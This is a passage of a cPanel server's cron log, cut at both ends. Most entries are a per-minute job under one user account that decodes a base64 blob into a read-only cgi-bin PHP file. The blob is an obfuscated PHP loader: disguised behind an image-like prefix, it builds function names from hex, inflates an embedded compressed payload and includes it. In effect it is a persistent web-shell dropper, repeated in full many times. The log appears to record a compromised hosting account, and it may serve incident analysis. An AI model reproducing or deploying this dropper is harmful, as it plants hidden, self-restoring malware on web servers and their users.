oxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 18:58:01 server CROND[601]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 18:59:01 server CROND[657]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 19:00:01 server CROND[711]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 19:00:01 server CROND[713]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 19:00:01 server CROND[712]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 19:00:01 server CROND[714]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 19:01:01 server CROND[823]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 19:01:01 server CROND[824]: (root) CMD (run-parts /etc/cron.hourly)
Apr 11 19:01:01 server run-parts(/etc/cron.hourly)[824]: starting 0anacron
Apr 11 19:01:01 server run-parts(/etc/cron.hourly)[836]: finished 0anacron
Apr 11 19:02:01 server CROND[890]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 19:03:01 server CROND[1030]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 19:04:01 server CROND[1079]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 19:05:01 server CROND[1140]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 19:05:01 server CROND[1141]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 19:05:01 server CROND[1142]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 19:05:01 server CROND[1143]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 11 19:06:01 server CROND[1240]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 19:07:01 server CROND[1286]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 19:08:01 server CROND[1425]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 19:09:01 server CROND[1471]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 11 19:09:01 server CROND[1472]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 19:10:01 server CROND[1533]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 19:10:01 server CROND[1534]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 19:10:01 server CROND[1535]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 19:10:01 server CROND[1536]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 19:11:01 server CROND[1651]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR